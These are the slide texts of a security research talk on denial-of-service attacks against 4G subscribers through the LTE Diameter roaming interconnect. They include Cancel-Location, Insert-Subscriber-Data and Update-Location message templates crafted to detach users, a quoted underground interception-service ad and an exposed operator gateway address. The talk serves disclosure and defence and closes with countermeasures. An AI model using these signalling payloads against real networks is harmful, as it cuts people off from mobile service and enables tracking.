Detach me not
DoS attacks against 4G cellular users worldwide from your desk

Silke Holtmanns  Nokia Bell Labs
Bhanu Kotte     Nokia Bell Labs
Siddharth Rao   Aalto University
We are here connected to Vodafone, O2, Orange, T-Mobile, 3

Blackhat Staff
AT&T, Verizon, T-Mobile, Sprint...

Blackhat Attendees
Orange, DT, Vodafone, ePlus,...

My home mobile network operator
Colleagues & Family
Elisa, TeliaSonera, DNA

We are here connected to Vodafone, O2, Orange, T-Mobile, 3
Roaming Network – Interconnect IPX
We are all connected to the Interconnection Network.
History – To Understand the Problem

- Established more than 35 years ago between a few state owned operators
- Build on trust (closed private network)
- No inbuilt security (in particular, no source authentication)
- SS7 protocol was constantly extended for new services and features
- New service providers connect all the time e.g. IPX roaming hubs, Application to user SMS, etc
- Now moving towards LTE / Diameter based protocols
Closed & Private Network?

Wholesale Interconnect (Three Ireland (Hutchison) Limited).

Below you can see what I can provide. Contact information at the bottom page.

SERVICES

CELL PHONE REPORTS
A cell phone report contains network information, such as MCC, MNC, IMSI, IMSI location authorization, and VPLMN. You can request more, like the encryption keys of the reported network.

CELL PHONE INTERCEPTION
This service is simple and easy to use. You need to provide a target number, along with any destination number to be called. The service only allows you to intercept the call without any restrictions.

SPOOLED SMS MESSAGING/CALLING
You will be provided with a web portal and an access code. Then you can send SMS messages and make calls without restrictions. Just by clicking a button.

557 API
With 557 API, you can do everything run, such as hijacking at the GSM server. The service allows you to connect to any cellular network without restrictions.

221.177.247.252
China Mobile
Added on 2017-03-22 15:34:36 GMT

ZXRI0 XGW-16, ZTE ZXRI0 Software Version: ZXUN XGW(GSM)V4.10.13(1.0.0)
How to get in?

Renting a Service
Hacking
Having Power

Bribing an Employee
Become an Operator
Convincing
Current Status of IPX Security

- Most commonly used protocol for interconnection is still **SS7-MAP** (message application part)
- Often intermediate nodes involved
- **Often** without any form of transport security
  - \textit{-> No IPSec, no TLS / DTLS, no MAPSec}
- No source authentication, no integrity, no confidentiality

- For the legacy protocol, SS7 many attacks are known, some of them landed on TV (CBS 60 minutes)
SS7 Incidents Known

- Location Tracking
- Eavesdropping
- Fraud
- Denial of Service user & network
- Credential theft
- Data session hijacking
- Unblocking stolen phone
- SMS interception
- One time password theft and account takeover for Telegram, Facebook, Whatsapp
All will be better with LTE and Diameter……
All will be better different with LTE and Diameter......
Mobile LTE Networks

The HSS

DEA

IPX Providers

DEA

MME

MME
Network Setup for DoS Testing – Video
IMSI retrieval using SRR

- Send Routing Info for SM Request (SRR)
- Sent by SMSC to the HSS
  - Retrieves subscriber’s IMSI and identity of the serving MME
  - Routing a short message to the recipient
DoS using CLR

Cancel Location Request (CLR)

Sent by HSS to the MME to detach the UE

• MME change (location change)
• Subscription Withdrawal

<command name="Cancel-Location-Request" code="317">
  <avp name="User-Name" value="235919999994001"/>
  <avp name="Cancellation-Type" value="2"/>
  <avp name="CLR-Flags" value="3"/>
</command>
CLR DoS Attack - Video
DoS using IDR

Insert Subscriber Data Request (IDR)

Sent by HSS to the MME
- updating and/or requesting certain user data in the MME
- retrieve location information and/or state information from the MME

```xml
<command name="Insert-Subscriber-Data-Request" code="319">
  <avp name="User-Name" value="235919999994001" />
  <avp name="Subscription-Data">
    <avp name="Subscriber-Status" value="1" />
    <avp name="Operator-Determined-Barring" value="511" />
  </avp>
</command>
```
IDR DoS Attack - Video
DoS using ULR

Update Location Request (ULR)

Sent by MME to the HSS to inform about

- the serving MME (e.g. going abroad)
- the user data such as terminal information

```xml
<command name="Update-Location-Request" code="316">
  <avp name="User-Name" value="235919999994001" />
  <avp name="Visited-PLMNId" value="23415"/>
  <avp name="RAT-Type" value="1004"/>
  <avp name="ULR-Flags" value="6"/>
</command>
```
DoS using IDR+NOR

Notification Request (NOR)

Sent by MME to the HSS

• Notifying events such as device reachability, updated device information
Practical Considerations

• IPSec for diameter is standardized
• It’s all IP, lets use IPSec! Maybe not that easy……
  • Not all is IP (some part of SS7 / interworking)
  • Who will host / create root certificates
  • Operators in developing countries
  • Interconnection service provider --> only hop-by-hop security
  • Nodes difficult to upgrade

• Still no protection against
  • Partners renting out to ”service companies”
  • Hacked nodes
  • Bribed employees
  • Governmental ties
## Countermeasures

<table>
<thead>
<tr>
<th>Detect</th>
<th>Mitigate</th>
</tr>
</thead>
<tbody>
<tr>
<td>Monitor network traffic</td>
<td>Filter, filter, filter</td>
</tr>
<tr>
<td>Tenant monitoring</td>
<td>Signaling Firewall at DEA</td>
</tr>
<tr>
<td></td>
<td>IPSec usage for LTE-Diameter</td>
</tr>
<tr>
<td></td>
<td>SMS protection measures</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Cooperate</th>
<th>Prepare</th>
</tr>
</thead>
<tbody>
<tr>
<td>Share experiences</td>
<td>Business rules for misusage</td>
</tr>
<tr>
<td>Form circles of security</td>
<td>Investigate potential weaknesses</td>
</tr>
<tr>
<td>Cooperation with legislators</td>
<td>Node hardening</td>
</tr>
</tbody>
</table>
Summary

- Interconnection attacks are reality, but current main focus is SS7
- LTE/Diameter has similar functionality
  -> hence similar attacks are possible there
- Independent of phone, platform or device
- DoS against users can be done in Diameter in many ways
  -> some have also network performance impacts

- Will LTE face the similar Interconnection weaknesses as SS7?
  - If networks don’t take protection measures, then yes.
Mobile Networks arrived in the Internet

Let’s protect them
Thanks
You
Finnish CyberTrust Project
Major global operators for their support and security engagement

Questions?